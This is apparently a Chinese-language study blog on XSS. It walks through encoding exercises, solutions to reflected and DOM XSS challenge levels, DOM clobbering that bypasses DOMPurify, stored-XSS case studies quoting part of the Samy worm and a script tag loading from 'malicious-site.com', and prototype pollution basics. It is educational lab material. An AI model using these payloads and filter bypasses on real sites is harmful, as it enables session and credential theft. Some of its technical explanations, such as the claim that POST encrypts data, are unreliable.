当前位置: 首页 > news >正文

XSS相关理解

由于本人对一小部分dom型xss、原型链污染和存储型xss理解不够透彻,因此在本篇文章中原型链污染和存储型xss偏重进行概念理解或简单的代码理解,随后会慢慢补充

文章目录

  • 1 XSS概述
    • 1.1 什么是XSS?
    • 1.2 XSS主要分三种类型
  • 2 XSS基础
    • 2.1 XSS基础练习
      • 2.1.1 编码问题
      • 2.1.2 原因
    • 2.2 JS基础练习
      • 2.2.1 JS相关问题
      • 2.2.2 原因
  • 3 反射型XSS(Reflected XSS)
    • 3.1 理解反射型XSS
      • 3.1.1 反射型XSS具有以下特点
      • 3.1.2 图解
    • 3.2 实战演练
      • level 1
      • level 3
      • level 5
      • level 8
    • 3.3 总结
  • 4 DOM型XSS(Document Object Model Cross-Site Scripting)
    • 4.1 理解DOM型XSS
      • 4.1.1 DOM型XSS的特点
      • 4.1.2 图解
    • 4.2 DOM基础
      • 4.2.1 实战演练
        • level 1
        • level 2
        • level 3
        • level 4
      • 4.2.2 演练核心标签总结
    • 4.3 DOM破坏(DOM Clobbering)
      • 4.3.1 核心机制
      • 4.3.2 特点
      • 4.3.3 实战演练
        • 4.3.3.1 相关知识
        • 4.3.3.2练习
  • 5 存储型XSS(Persistent XSS)
    • 5.1 什么是存储型XSS
      • 5.1.2 存储型XSS的特点
      • 5.1.3 图解
    • 5.2 案例展示
      • 5.2.1 案例一
      • 5.2.2 案例二
    • 5.3 总结
  • 6 原型链污染(Prototype Pollution)
    • 6.1 什么是原型链污染?
      • 6.1.1 核心原理
    • 6.2 理解`prototype`、`__proto__`和`constructor`
      • 6.2.1 `prototype` 属性
      • 6.2.2 `__proto__ `属性
      • 6.2.3 `constructor` 属性
      • 6.2.2 总结
    • 6.3 简单代码理解
  • 7 XSS相关总结

1 XSS概述

1.1 什么是XSS?

XSS(跨站脚本攻击,Cross-Site Scripting) 是一种常见的网络安全漏洞,攻击者通过向网页中注入恶意脚本,当其他用户访问该页面时,脚本会在其浏览器中执行,从而实施攻击。

我用3句话理解XSS

  • 目标:攻击者试图在可信的网站上注入恶意代码(通常是 JavaScript)。
  • 手段:利用网站对用户输入的不当处理(未过滤/转义)。
  • 触发:当其他用户浏览被感染的页面时,恶意脚本自动执行。

1.2 XSS主要分三种类型

  • 反射型XSS:页面能解析js代码的功能被称为XSS的反射型漏洞。没有对用户的输入做出特定的过滤,导致用户输入的恶意js代码输出到页面上被页面解析
  • DOM型XSS:恶意脚本由浏览器前端 JS 对污染源的不安全处理并执行,全程不经过服务器,恶意代码直接在受害者浏览器中触发,攻击链条完全在浏览器内闭环,传统服务端防御手段失效。
  • 存储型XSS:攻击者将恶意脚本提交到服务器数据库中(如评论区、用户资料),当用户访问被感染的页面时自动执行,窃取Cookie/会话等数据,脚本永久存储在服务器数据库,无需用户交互,只要访问立马执行。

这三个XSS类型各有特点,在这篇文章我将以我的理解对这三种xss进行理解或展示。
此外原型链污染 虽然不属于 XSS,它是独立的 JS 原型篡改漏洞,但可导致 XSS,当污染对象涉及 DOM 操作属性时,会引发 XSS。

2 XSS基础

在XSS中我们首先需要知道页面的解析先后顺序:

html实体编码---->urlencode编码---->js unicode编码

2.1 XSS基础练习

2.1.1 编码问题

<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a>
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">aaaaaa</a>
<a href="javascript%3aalert(3)">aaaaa</a>
<div>&#60;img src=x onerror=alert(4)&#62;</div>
<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>
<textarea><script>alert(6)</script></textarea>

2.1.2 原因

第一个
浏览器 尝试解码这些URL编码,但解码发生在错误的时间点(在协议识别之后)结果浏览器无法识别javascript:协议,因此放弃执行解码。技术上浏览器解码了,但解码结果未被使用(因为协议未识别)。
第二个
浏览器直接解码HTML实体编码,在浏览器识别协议之前已经成功解码,并且浏览器在解码之后成功识别javascript协议,因此可以正确点击链接执行弹窗。
第三个
原因与第一个相似,javascript:是一个整体,该链接将:进行编码因此浏览器无法在解析之前识别协议,不能正常点击链接跳出弹窗。
第四个
浏览器可以正常解析&#60;&#62;<>,但HTML解析标签以tag open state(<)开始tag name state(>)结束,因此浏览器虽然将编码解析成功,但不会转为tag open state(标签开始状态)只会将<div>标签里的内容以data(数据)形式显示出来因此无法建立img标签也无法正常显示弹窗。
第五个
正确解码,为RCDATA元素,可以容纳文本和字符引用。一旦有字符引用可能无法进入标签开始状态
第六个
无需解码,为RCDATA元素,可以容纳文本和字符引用。一旦有字符引用可能无法进入标签开始状态

\第一个第二个第三个第四个第五个第六个
是否尝试解码✅ 是✅ 是✅ 是✅ 是✅ 是❌无需解码
解码时机太晚(协议识别后)正确(分阶段)太晚(协议识别后)正确(分阶段)正常解码----
解码结果是否有效❌ 否✅ 是❌ 否✅ 是✅ 是----
根本原因协议部分被编码导致浏览器放弃协议部分通过HTML实体先解码协议部分被编码导致浏览器放弃内容以div标签里的数据形式解析出来,但不能识别为一个img标签虽然解析成功但无法进入标签状态----

2.2 JS基础练习

2.2.1 JS相关问题

<button onclick="confirm('7&#39;);">Button</button>
<button onclick="confirm('8\u0027);">Button</button>
<script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>
<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>
<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>
<script>alert('14
')</script>
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>

2.2.2 原因

第一、二个:js严格区分大小写,不能对符号编码,因此前两个button无法触发
第三个:将alert(9);转为html编码但<script>为原始文本元素,只能容纳文本,无法容纳字符,因此无法辨别内容为alert(9);的html编码因此无法解析。
第四个:正确弹窗
第五个:同第一、二个原因
第六个:js语法问题,js的解析器默认将12理解为字符串,字符串需要单引号包裹起来,没有单引号不能识别出12
第七个:换行符不影响解析,正常弹窗
第八个:使用了所有的解码:首先解析html实体解码,urlencode解码发现javascript已出现,并将其识别,进入js环境下,js支持unicode解码,因此可以正常解析,正常弹窗。

3 反射型XSS(Reflected XSS)

又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接( 即每次攻击需要用户的点击)。

3.1 理解反射型XSS

没有对用户的输入做出特定的过滤,导致用户输入的恶意js代码输出到页面上被页面解析

3.1.1 反射型XSS具有以下特点

  • 脚本不存储在服务器,仅通过 URL 参数传递。
  • 需要诱导用户主动点击恶意链接(如钓鱼邮件)。
  • 常见于搜索框、错误提示页等动态返回内容的功能。

3.1.2 图解

在这里插入图片描述
使用符合js的规范都可以执行使用js标签包裹或者使用html标签:
例如:

<script>alert(1)</script>
--------------------------------------------------------
<img src=1 onerror=alert(1)>
--------------------------------------------------------
<a href="javascript:alert(1)">aaaa</a>    //使用javascript伪协议。需要用户参与
--------------------------------------------------------
<svg/onload=alert(1)>等等
--------------------------------------------------------
巧用“//“注解,使用注解可以将后续的代码注释掉

有些过滤器会相应的过滤掉某些标签元素,因此我们还需要掌握三中html能识别的编码,灵活使用编码代替原标签进行反射xss(以下为相关概念,了解一下):

  • urlcode编码:URL编码(URLEncoder)和解码(URLDecoder)是处理URL中包含的特殊字符和中文的常用方法。URL编码的目的是将字符串转换成有效的URL格式,而URL解码则是将这些特殊的URL格式还原回原始字符串。
  • html实体编码:一段以连字号(&)开头、以分号(;)结尾的字符串,用以显示不可见字符及保留字符
  • js unicode编码:将全世界所有的字符包含在一个集合里,计算机只要支持这一个字符集,就能显示所有的字符

使用常用的转码工具将所需转码的内容转为对应编码的内容即可:

https://www.toolhelper.cn/
https://tool.oschina.net/encode

3.2 实战演练

选择部分代码进行反射型XSS的实战演练

level 1

源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

解题:
在这里插入图片描述
在此题中发现注入内容会注入到h2标签内如需要弹窗只要让其触发alert即可
在网址后输入:即可
在这里插入图片描述

level 3

源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

解题:
在源码中发现

htmlspecialchars过滤函数会过滤双引号但是该函数在源码中并未设置ENT_QUOTES因此并不会过滤单引号。
该源码中单引号包含了双引号,需要将单引号闭合
在这里插入图片描述

input输入框输入a' onclick='alert(1)完成题解
在这里插入图片描述

level 5

源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

解题:
在源码中,发现题目进行了简单替换:将<script替换为<scr_ipt,on替换为o_n
因此所有的on事件被过滤,<script>标签被过滤
但发现<>并没有被过滤,因此我们需要将源码进行闭合即可
input输入框内输入a"><a href="javascript:alert(1)">aaaaaaaaaaaa</a>"即可题解
在这里插入图片描述
点击链接完成挑战
在这里插入图片描述

level 8

源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?phpecho '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

解题:
使用编码转换输入即可
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)
在这里插入图片描述
点击友情链接,成功题解
在这里插入图片描述

3.3 总结

1.反射型xss的存在位置可能在搜索栏、input表单
2.可能会存在过滤,可以通过编码,大写等方式尝试绕过
3.javascript伪协议也可以触发xss

4 DOM型XSS(Document Object Model Cross-Site Scripting)

控制js产生的xss称为dom型xss

4.1 理解DOM型XSS

一句话总结:DOM 型 XSS = 前端 JavaScript 代码 + 不安全的 DOM 操作 + 客户端污染源(URL/Storage)

4.1.1 DOM型XSS的特点

  • 全程在浏览器端发生:
    • 恶意代码的注入、解析、执行均在用户浏览器中完成,不经过服务器处理。
  • 绕过服务器防护:
    • 攻击载荷常隐藏在 URL 片段(#后)、window.name 或 前端存储(LocalStorage) 中,不会被发送到服务器。
    • ❌ 传统 WAF(Web 应用防火墙)无法检测此类攻击。
  • 触发依赖危险 DOM API
    • 漏洞源于开发者使用不安全的 DOM 操作方法:
  • 非持久性(通常)
    • 攻击需诱导用户访问特定恶意链接,脚本不会存储在服务器或客户端数据库中。
    • 🔁 但可通过社工手段(如钓鱼邮件)大规模传播。
  • 隐蔽性高
    • 由于不经过服务器,浏览器开发者工具是主要检测手段(Network 面板无异常请求)。

4.1.2 图解

在这里插入图片描述

4.2 DOM基础

4.2.1 实战演练

dom相关的部分基础xss练习

level 1

源码:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><h2 id="spaghet"></h2>
</body>
<script>spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
</html>

解题:

要求:
Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.

分析:
js安全策略:在H5中指定不执行使用element.innerHTML插入的<script>标签,因此不能使用<script>标签

源码分析可得url地址栏里获取了get传参,而传参的key是somebody,如果没有给somebody传参则默认使用Somebody代替并通过innerHTML写入id为spaghet的<h2>标签中。除了<script>标签以外能触发弹窗的任何标签都可以
给somebody传参输入<img src=1 onerror=alert(1337)>完成题解

在这里插入图片描述

level 2

源码:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title></head>
<body><h2 id="maname"></h2>
</body>
<script>let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")let ma = ""eval(`ma = "Ma name ${jeff}"`)setTimeout(_ => {maname.innerText = ma}, 1000)
</script>
</html>

解题:

要求:
Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.

分析:
eval为执行函数,可以直接执行内容。
由于该参数有双引号,因此我们需要闭合双引号。
可以使用//注释将后面的双引号进行闭合

jeff传参wowo";alert(1337)//即可完成题解
在这里插入图片描述

level 3

源码:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title></head>
<body><div id="uganda"></div>
</body>
<script>let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");wey = wey.replace(/[<>]/g, '')uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
</html>

解题:

Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.

分析:
源码过滤了<>
由于用户不能参与交互因此我们不能直接设置点击事件
由于<input>有核心属性onfocusautofocus自动聚焦,可以实现题目中禁止用户交互的要求

因此wo" autofocus onfocus="alert(1337)"即可完成题解
在这里插入图片描述

level 4

源码:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title></head>
<body>
<form id="ricardo" method="GET"><input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
</body>
<script>ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')setTimeout(_ => {ricardo.submit()}, 2000)
</script>
</html>

解题:

要求:
Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.

分析:
form表单中的action属性将form表单中的数据传输到action属性指定的地址,如将数据传输到1.php只需要在action属性中填入即可,源码中action属性未传值的时候提交到#(表示传到当前页面)。
setTimeout将在2秒延迟后自动提交

ricardo传入javascript:alert(1337)伪协议即可完成题解
在这里插入图片描述

4.2.2 演练核心标签总结

innerHTML:禁止触发`<script>`标签
input标签有特殊属性onfocus(聚焦)与autofocus(自动聚焦)结合使用
form表单属性:action,method,enctype
- action- 指定后端action目标地址接收并处理表单数据(action可以出发javascript伪协议)
- method- post:将数据封装在HTTP请求体中发送,对数据内容加密处理,适合提交敏感信息或大量数据(如文件上传)。‌‌-  get:将表单数据附加到action指定的URL后,适合非敏感且数据量较小的查询操作(如搜索、筛选)。‌‌
- enctype- 提交账号密码等文字需要发送的数据编码为 "名称/键值" 的形式使用默认属性application/x-www-form-urlencoded- 上传文件、mp3、图片等使用multipart/form-data- 提交纯文本使用text/plain

4.3 DOM破坏(DOM Clobbering)

DOM 破坏是一种利用 HTML 元素覆盖 JavaScript 全局变量或对象属性的攻击技术,目的是篡改页面逻辑或绕过安全机制。
通过注入特定 HTML 标签(如 <form><img><a>),覆盖页面中的 JavaScript 变量或 DOM 对象属性,从而破坏前端逻辑或绕过安全检测。

4.3.1 核心机制

HTML 元素的命名覆盖

  • 当 HTML 标签设置了 id 或 name 属性时,浏览器会自动将其暴露为全局变量(或嵌套在 document 对象下)。
  • 攻击者注入恶意标签,覆盖已有变量或属性。

4.3.2 特点

  • 隐蔽性强:不触发脚本执行,仅改变对象状态。
  • 误判为“无害”:传统安全扫描工具难以检测逻辑覆盖。
  • 现代框架的盲区:React/Vue 等框架虽减少直接 DOM 操作,但若与原生 JS 混用仍可能中招。

核心记忆点:任何未受保护的 HTML 的 id/name 属性都可能成为攻击入口!

4.3.3 实战演练

dom破坏的相关练习

4.3.3.1 相关知识
<body><img id="x"><img name="y">
</body>
<script>console.log(x)console.log(y)console.log(document.x)console.log(document.y)console.log(window.x)console.log(window.y)
</script>

在这里插入图片描述

前端特性:结果可知只有document.x不适配id其他都适配

<body><img id="x"><img name="y">
</body>
<script>let div = document.createElement('div')//创建div标签div.innerHTML = '<img name="cookie">'//标签内容为<img name="cookie">document.body.appendChild(div)//div标签添加到body中console.log(document.cookie)//请求document.cookie
</script>

运行发现:
在这里插入图片描述
发现设创建的<div>标签中的内容img把获取系统页面的cookie系统函数覆盖掉了
!!这样的操作危害是非常大的,用户的权限太大以至于可以随意更改系统函数!!

<body><form name="body"><img id="appendChild"></form>
</body>
<script>console.log(body.appendChild)
</script>

在这里插入图片描述
发现本次二次覆盖取出的并不是系统自带的函数,而是img标签

document覆盖最多覆盖三层
document.x
document.x.y
document.x.y.z

在控制台输入Object.prototype.toString.call(document.body.appendChild)

在这里插入图片描述
我们拿到的是[object HTMLImageElement]html下的img元素是一个object对象,但是不好操作,所以需要toString转为可控的字符串类型

Object.getOwnPropertyNames(window)//获取window所有属性的名称
.filter(p => p.match(/Element$/))//过滤含有Element为结尾元素的标签
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)//过滤本身有的原型链的方法而不是祖先自带的方法

取出为下图显示:
在这里插入图片描述

4.3.3.2练习

源码:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body>
<h2 id="boomer">Ok, Boomer.</h2>
</body>
<script>boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")setTimeout(ok, 2000)
</script>
</html>

解题:

要求:
Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.

分析:
引入过滤框架DOMPurify
boomer没有传参默认执行显示Ok,Boomer.
setTimeout两秒之后执行一次
setTimeout中的ok是否是一个函数,如果是,就会自动调用oktoString方法
需要分析这几个问题:

  • 1.ok从何而来?
    dom破坏中来,定义一个idoka标签<a id=ok href='aaaaa'>
    dom 11 12
  • 2.恶意payload触发ok里的恶意代码
    a标签里的href属性为javascript:alert(1337)
  • 3."绕过"框架(白名单)
    白名单有:

在这里插入图片描述

  • 4.ok引入

输入boomer=<a id=ok href="sms:alert(1337)">完成题解
在这里插入图片描述

源码:

<script>const data = decodeURIComponent(location.hash.substr(1));;const root = document.createElement('div');root.innerHTML = data;// 这里模拟了XSS过滤的过程,方法是移除所有属性,sanitizerfor (let el of root.querySelectorAll('*')) {let attrs = [];for (let attr of el.attributes) {attrs.push(attr.name);}for (let name of attrs) {el.removeAttribute(name);}}    document.body.appendChild(root); 
</script>

解题:

解析:
1.在触发程序之前进行触发
2.生成一个无关的节点,而避免我们的payload被删除+

1.输入<svg><svg/onload=alert(1)>触发弹窗,完成题解
在这里插入图片描述
2.使用所有标签遍历

<script>var log = [];var html =["a", "abbr", "acronym", "address", "applet", "area", "article", "aside", "audio", "b", "base", "basefont", "bdi", "bdo","bgsound", "big", "blink", "blockquote", "body", "br", "button", "canvas", "caption", "center", "cite", "code", "col","colgroup", "command", "content", "data", "datalist", "dd", "del", "details", "dfn", "dialog", "dir", "div", "dl", "dt","element", "em", "embed", "fieldset", "figcaption", "figure", "font", "footer", "form", "frame", "frameset", "h1", "head","header", "hgroup", "hr", "html", "i", "iframe", "image", "img", "input", "ins", "isindex", "kbd", "keygen", "label","legend", "li", "link", "listing", "main", "map", "mark", "marquee", "menu", "menuitem", "meta", "meter", "multicol","nav", "nextid", "nobr", "noembed", "noframes", "noscript", "object", "ol", "optgroup", "option", "output", "p", "param","picture", "plaintext", "pre", "progress", "q", "rb", "rp", "rt", "rtc", "ruby", "s", "samp", "script", "section", "select","shadow", "slot", "small", "source", "spacer", "span", "strike", "strong", "style", "sub", "summary", "sup", "svg", "table", "tbody", "td", "template", "textarea", "tfoot", "th", "thead", "time", "title", "tr", "track", "tt", "u", "ul", "var","video", "wbr", "xmp"],logs = [];div = document.createElement('div'); for (var i = 0; i < html.length; i++) {for (var j = 0; j < html.length; j++) {div.innerHTML = '<' + html[i] + ' id=element1>' + '<' + html[j] + ' id=element2>'; document.body.appendChild(div);if (window.element1 && element1.element2) {log.push(html[i] + ',' + html[j]);}document.body.removeChild(div);}}console.log(log.join('\n'));
</script>

得到可以进行两个id嵌套的组合:

form,button
form,fieldset
form,image
form,img
form,input
form,object
form,output
form,select
form,textarea

例如使用form与output进行组合:

<body><form id="x"><output id="y">I've been clobbered</output>
</form>
</body>
<script>
console.log(x.y)//在y后面添加value会把<output>标签里的I've been clobbered显示出来
</script>

控制台显示:

在这里插入图片描述

5 存储型XSS(Persistent XSS)

最危险的跨站脚本攻击类型。

5.1 什么是存储型XSS

存储型XSS(跨站脚本攻击)是一种恶意脚本被永久存储在目标服务器上的攻击类型,当用户访问受感染页面时自动执行。

5.1.2 存储型XSS的特点

  • 持久性:恶意脚本存储在服务器上(数据库、文件系统等)
  • 自动传播:用户只需访问页面就会触发攻击
  • 影响范围广:所有访问该页面的用户都会受到影响
  • 危害严重:可窃取用户凭据、会话信息,传播恶意软件等

5.1.3 图解

在这里插入图片描述

5.2 案例展示

5.2.1 案例一

MySpace Samy蠕虫(2005)

  • 攻击方式:用户资料中注入恶意脚本
  • 传播速度:20小时内感染100万用户
onload="var B=String.fromCharCode(34); 
var A=String.fromCharCode(39); 
function g(){var C; 
try{var D=document.body.createTextRange();C=D.htmlText} 
catch(e){}if(C){return C}else{return''}} 
function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')} 
function getQueryParams(){var E=document.location.search; 
var F=E.substring(1,E.length).split('&'); 
var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('='); 
AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams(); 
var L=AS['Mytoken'];var M=AS['friendID']; 
if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search} 
else{if(!M){M=g()}if(M){ 
// 核心攻击代码

影响:强制添加攻击者为好友,成为首个大规模XSS蠕虫

5.2.2 案例二

eBay存储型XSS(2015)

  • 攻击方式:商品描述中注入恶意脚本
  • 攻击载荷:<script src="http://malicious-site.com/xss.js"></script>
  • 影响:窃取买家支付信息,持续数月未被发现
  • 根本原因:未对商品描述进行输出编码

5.3 总结

持续时间长,恶意脚本长期存储在服务器(数据库/文件系统)只要被感染页面被访问,攻击就会触发。自动传播,用户无需任何交互(如点击链接)。访问即中招。影响范围广,所有访问该页面的用户都会受影响,可造成大规模数据泄露。隐蔽性强,可能潜伏数月才被发现,难以追溯攻击源头

6 原型链污染(Prototype Pollution)

6.1 什么是原型链污染?

是一种针对 JavaScript 运行时的攻击技术,攻击者通过篡改对象的原型(prototype)注入恶意属性,导致所有继承该原型的对象被污染,从而引发安全漏洞。

6.1.1 核心原理

  1. JavaScript 的原型链机制
    每个 JavaScript 对象都有隐藏属性 __proto__(或通过 Object.getPrototypeOf()访问),指向其原型对象。
    当访问对象属性时,若对象自身不存在该属性,JS 会沿原型链向上查找。
  2. 污染入口点
    攻击者利用未安全处理的对象合并/复制操作注入 __proto__ 属性。
    关键结论

原型链污染属于 JavaScript 运行时污染,可导致拒绝服务、权限绕过、数据泄露等,不限于 XSS。可成为 XSS 的“催化剂”。若污染了 innerHTMLouterHTMLdocument.write 等 DOM 操作属性,则间接引发存储型/DOM 型 XSS。

6.2 理解prototype__proto__constructor

6.2.1 prototype 属性

  • 只有函数才拥有 prototype 属性
  • 它是函数的原型对象,包含该类型所有实例共享的属性和方法
  • 当使用 new 关键字创建实例时,新对象会继承其构造函数的 prototype

6.2.2 __proto__属性

  • 每个对象(包括函数对象)都有 __proto__ 属性
  • 它指向创建该对象的构造函数的 prototype
  • 这是原型链查找的实际路径(现代代码中建议使用 Object.getPrototypeOf())

6.2.3 constructor 属性

  • 每个 prototype 对象都有一个 constructor 属性
  • 它指向该原型对象所属的构造函数
  • 关系:Person.prototype.constructor === Person

6.2.2 总结

原型链关系总结

  1. 实例对象(如 alice):
  • 通过 __proto__ 指向其构造函数的 prototype

  • 即:alice.__proto__ === Person.prototype

  1. 构造函数(如 Person):
  • 拥有 prototype 属性,指向原型对象

  • 自身也有 __proto__,指向 Function.prototype

  1. 原型对象(如 Person.prototype):
  • 包含 constructor属性指回构造函数

  • 通过 __proto__ 指向 Object.prototype

  1. 原型链终点:
  • Object.prototype.__proto__ === null

  • 所有原型链最终都指向 null

我感觉我理解的不是很透彻可以看这篇文章更加深入理解:
帮你彻底搞懂JS中的prototype、__proto__与constructor(图解)

6.3 简单代码理解

源码

//foo是一个简单的JavaScript对象
let foo = {bar: 1}//foo.bar此时为1
console.log(foo.bar)
//foo对象 __proto__ = Object.prototype.bar = 2
//修改foo.bar的原型(即object)为2
foo.__proto__.bar = 2//由于查找顺序的原因,foo.bar仍然为1
console.log(foo.bar)//此时再用Object创建一个空的zoo对象 zoo bar
let zoo = {}//查看zoo.bar,此时为2
console.log(zoo.bar)

运行显示
在这里插入图片描述

7 XSS相关总结

特性反射型XSSDOM型XSS存储型XSS原型链污染
存储位置URL参数URL片段/客户端存储服务器数据库JavaScript原型
持久性非持久通常非持久持久运行时持久
触发方式点击恶意链接访问特定URL访问受感染页面执行污染代码
影响范围点击者当前用户所有访问者整个应用
http://www.lryc.cn/news/593788.html

相关文章:

  • 商业秘密的法律属性与保护路径探析
  • XSS漏洞学习总结
  • 基于Scrapy-Redis的分布式爬虫系统:工业级实现与深度优化
  • XSS漏洞总结
  • 如何解决pip安装报错ModuleNotFoundError: No module named ‘pillow’问题
  • 从零手写红黑树(C++实现详解)
  • 【工具变量】地级市城市包容性绿色增长数据(2011-2023年)
  • [FFmpeg] AVFormatContext、AVInputFormat、AVOutputFormat | libavformat
  • 语义熵怎么增强LLM自信心的
  • MyBatis动态SQL全解析:五大核心标签实战指南
  • IIS部署 .net项目
  • 新华三ACG身份验证实验
  • Linux操作系统之线程(三)
  • JavaScript基础语法和简单数据结构
  • 响应式单位rpx及搭配使用UI产品工具
  • Java-Lambda表达式
  • Ceph存储阈值调整:优化nearfull_ratio参数
  • Vue组件化开发小案例
  • lvs 集群技术
  • LVS技术知识详解(知识点+相关实验部署)
  • sql练习二
  • MySQL练习3
  • Linux内核设计与实现 - 第6章 内核数据结构
  • [AI风堇]基于ChatGPT3.5+科大讯飞录音转文字API+GPT-SOVITS的模拟情感实时语音对话项目
